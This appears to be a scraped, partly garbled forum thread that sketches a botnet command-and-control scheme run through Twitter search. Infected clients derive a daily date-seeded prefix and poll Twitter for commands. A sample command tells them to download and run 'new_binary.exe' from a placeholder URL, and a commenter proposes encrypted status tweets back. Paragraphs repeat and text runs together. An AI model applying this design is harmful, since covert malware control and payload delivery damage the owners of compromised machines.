Twitter has an API (see here) that lets you search for messages over HTTP. Apparently you can't actually send a tweet using this API though (did I miss something?).
Each day the "clients" generate a unique garbage looking string seeded by the current date and search twitter for command messages with this secret prefix.
If you want to instruct the clients to carry out a specific function, you simply tweet your command with the magic date driven string as a prefix. In the twitter message feed you might see this:
What does it think :?:
Each day the "clients" generate a unique garbage looking string seeded by the current date and search twitter for command messages with this secret prefix.
If you want to instruct the clients to carry out a specific function, you simply tweet your command with the magic date driven string as a prefix. In the twitter message feed you might see this:
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Is authentication on Twitter required to use the search API too? Also, it doesn't look like automated twitter signup would be doable because it's not documented and they could break your DOM parsing at any time. But it would be good to have the "clients" tweet back, possibly in some encrypted form, heartbeat or status updates .etc8Hfio-negt3-8tnjf9k-idnfg8fwn-8uf3 get_update_package hxxp://someurl/new_binary.exeWhat does it think :?:
